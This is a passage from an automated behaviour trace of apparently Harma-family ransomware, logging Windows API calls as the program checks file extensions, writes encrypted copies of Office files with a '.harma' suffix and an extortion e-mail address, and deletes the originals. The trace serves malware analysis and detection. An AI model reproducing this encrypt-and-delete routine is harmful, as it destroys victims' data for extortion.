-1 [0147.555] lstrlenW (lpString=".docx") returned 5 [0147.555] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.555] lstrlenW (lpString=".pdf") returned 4 [0147.555] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.555] lstrlenW (lpString=".xls") returned 4 [0147.555] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.555] lstrlenW (lpString=".xlsx") returned 5 [0147.555] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.555] lstrlenW (lpString=".ppt") returned 4 [0147.555] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.555] lstrlenW (lpString=".zip") returned 4 [0147.555] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.555] lstrlenW (lpString=".rar") returned 4 [0147.555] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.555] lstrlenW (lpString=".bz2") returned 4 [0147.556] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.556] lstrlenW (lpString=".7z") returned 3 [0147.556] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.556] lstrlenW (lpString=".dbf") returned 4 [0147.556] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.556] lstrlenW (lpString=".1cd") returned 4 [0147.556] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0147.556] lstrlenW (lpString=".jpg") returned 4 [0147.556] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.556] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0147.556] lstrlenW (lpString="Solstice.eftx") returned 13 [0147.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.606] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=27781) returned 1 [0148.606] CloseHandle (hObject=0x374) returned 1 [0148.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0148.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.607] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.607] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.608] GetLastError () returned 0x0 [0148.608] ReadFile (in: hFile=0x374, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x6c85, lpOverlapped=0x0) returned 1 [0148.648] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0148.656] ReadFile (in: hFile=0x374, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.656] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xee, lpOverlapped=0x0) returned 1 [0148.656] SetEndOfFile (hFile=0x378) returned 1 [0148.860] CloseHandle (hObject=0x378) returned 1 [0148.860] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.860] SetEndOfFile (hFile=0x374) returned 1 [0148.863] CloseHandle (hObject=0x374) returned 1 [0148.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1 [0148.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.864] lstrlenW (lpString=".doc") returned 4 [0148.864] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString=".docx") returned 5 [0148.864] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.864] lstrlenW (lpString=".pdf") returned 4 [0148.864] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString=".xls") returned 4 [0148.864] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString=".xlsx") returned 5 [0148.864] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.864] lstrlenW (lpString=".ppt") returned 4 [0148.864] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.864] lstrlenW (lpString=".zip") returned 4 [0148.864] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString=".rar") returned 4 [0148.864] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString=".bz2") returned 4 [0148.864] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString=".7z") returned 3 [0148.864] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.864] lstrlenW (lpString=".dbf") returned 4 [0148.864] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.864] lstrlenW (lpString=".1cd") returned 4 [0148.864] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.864] lstrlenW (lpString=".jpg") returned 4 [0148.865] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.865] lstrlenW (lpString=".doc") returned 4 [0148.865] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString=".docx") returned 5 [0148.865] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.865] lstrlenW (lpString=".pdf") returned 4 [0148.865] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString=".xls") returned 4 [0148.865] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString=".xlsx") returned 5 [0148.865] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.865] lstrlenW (lpString=".ppt") returned 4 [0148.865] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.865] lstrlenW (lpString=".zip") returned 4 [0148.865] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString=".rar") returned 4 [0148.865] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString=".bz2") returned 4 [0148.865] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString=".7z") returned 3 [0148.865] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.865] lstrlenW (lpString=".dbf") returned 4 [0148.865] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.865] lstrlenW (lpString=".1cd") returned 4 [0148.865] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0148.866] lstrlenW (lpString=".jpg") returned 4 [0148.866] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.866] lstrcmpiW (lpString1=".MML", lpString2=".harma") returned 1 [0148.866] lstrlenW (lpString="OFFICE10.MML") returned 12 [0148.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.868] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=312376) returned 1 [0148.868] CloseHandle (hObject=0x374) returned 1 [0148.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0148.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.869] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.869] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.622] GetLastError () returned 0x0 [0149.622] ReadFile (in: hFile=0x374, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x4c438, lpOverlapped=0x0) returned 1 [0149.631] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x4c440, lpOverlapped=0x0) returned 1 [0149.640] ReadFile (in: hFile=0x374, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.640] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.640] SetEndOfFile (hFile=0x380) returned 1 [0149.640] CloseHandle (hObject=0x380) returned 1 [0149.640] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.640] SetEndOfFile (hFile=0x374) returned 1 [0149.648] CloseHandle (hObject=0x374) returned 1 [0149.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 1 [0149.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.649] lstrlenW (lpString=".doc") returned 4 [0149.649] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0149.649] lstrlenW (lpString=".docx") returned 5 [0149.649] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0149.650] lstrlenW (lpString=".pdf") returned 4 [0149.650] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0149.650] lstrlenW (lpString=".xls") returned 4 [0149.650] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0149.650] lstrlenW (lpString=".xlsx") returned 5 [0149.650] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0149.650] lstrlenW (lpString=".ppt") returned 4 [0149.650] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.650] lstrlenW (lpString=".zip") returned 4 [0149.650] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0149.650] lstrlenW (lpString=".rar") returned 4 [0149.650] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0149.650] lstrlenW (lpString=".bz2") returned 4 [0149.650] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0149.650] lstrlenW (lpString=".7z") returned 3 [0149.650] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.650] lstrlenW (lpString=".dbf") returned 4 [0149.650] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.650] lstrlenW (lpString=".1cd") returned 4 [0149.650] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.650] lstrlenW (lpString=".jpg") returned 4 [0149.650] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0149.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.651] lstrlenW (lpString=".doc") returned 4 [0149.651] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0149.651] lstrlenW (lpString=".docx") returned 5 [0149.651] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0149.651] lstrlenW (lpString=".pdf") returned 4 [0149.651] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0149.651] lstrlenW (lpString=".xls") returned 4 [0149.651] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0149.651] lstrlenW (lpString=".xlsx") returned 5 [0149.651] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0149.651] lstrlenW (lpString=".ppt") returned 4 [0149.651] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0149.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.651] lstrlenW (lpString=".zip") returned 4 [0149.651] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0149.651] lstrlenW (lpString=".rar") returned 4 [0149.651] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0149.651] lstrlenW (lpString=".bz2") returned 4 [0149.651] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0149.651] lstrlenW (lpString=".7z") returned 3 [0149.651] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0149.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.651] lstrlenW (lpString=".dbf") returned 4 [0149.651] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0149.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.651] lstrlenW (lpString=".1cd") returned 4 [0149.651] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0149.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0149.651] lstrlenW (lpString=".jpg") returned 4 [0149.651] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0149.652] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0149.652] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0149.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.994] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=158600) returned 1 [0149.994] CloseHandle (hObject=0x344) returned 1 [0149.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20 [0149.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.994] lstrlenW (lpString=".doc") returned 4 [0149.994] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.994] lstrlenW (lpString=".docx") returned 5 [0149.994] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0149.995] lstrlenW (lpString=".pdf") returned 4 [0149.995] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.995] lstrlenW (lpString=".xls") returned 4 [0149.995] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.995] lstrlenW (lpString=".xlsx") returned 5 [0149.995] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0149.995] lstrlenW (lpString=".ppt") returned 4 [0149.995] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.995] lstrlenW (lpString=".zip") returned 4 [0149.995] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.995] lstrlenW (lpString=".rar") returned 4 [0149.995] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.995] lstrlenW (lpString=".bz2") returned 4 [0149.995] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.995] lstrlenW (lpString=".7z") returned 3 [0149.995] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.995] lstrlenW (lpString=".dbf") returned 4 [0149.995] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.995] lstrlenW (lpString=".1cd") returned 4 [0149.995] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.995] lstrlenW (lpString=".jpg") returned 4 [0149.995] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.995] lstrlenW (lpString=".doc") returned 4 [0149.995] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.996] lstrlenW (lpString=".docx") returned 5 [0149.996] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0149.996] lstrlenW (lpString=".pdf") returned 4 [0149.996] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.996] lstrlenW (lpString=".xls") returned 4 [0149.996] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.996] lstrlenW (lpString=".xlsx") returned 5 [0149.996] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0149.996] lstrlenW (lpString=".ppt") returned 4 [0149.996] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.996] lstrlenW (lpString=".zip") returned 4 [0149.996] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.996] lstrlenW (lpString=".rar") returned 4 [0149.996] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.996] lstrlenW (lpString=".bz2") returned 4 [0149.996] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.996] lstrlenW (lpString=".7z") returned 3 [0149.996] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.996] lstrlenW (lpString=".dbf") returned 4 [0149.996] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.996] lstrlenW (lpString=".1cd") returned 4 [0149.996] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0149.996] lstrlenW (lpString=".jpg") returned 4 [0149.996] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.997] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0149.997] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0149.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.997] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=275856) returned 1 [0149.997] CloseHandle (hObject=0x344) returned 1 [0149.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20 [0149.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.998] lstrlenW (lpString=".doc") returned 4 [0149.998] lstrcmpiW (lpString1=".doc", 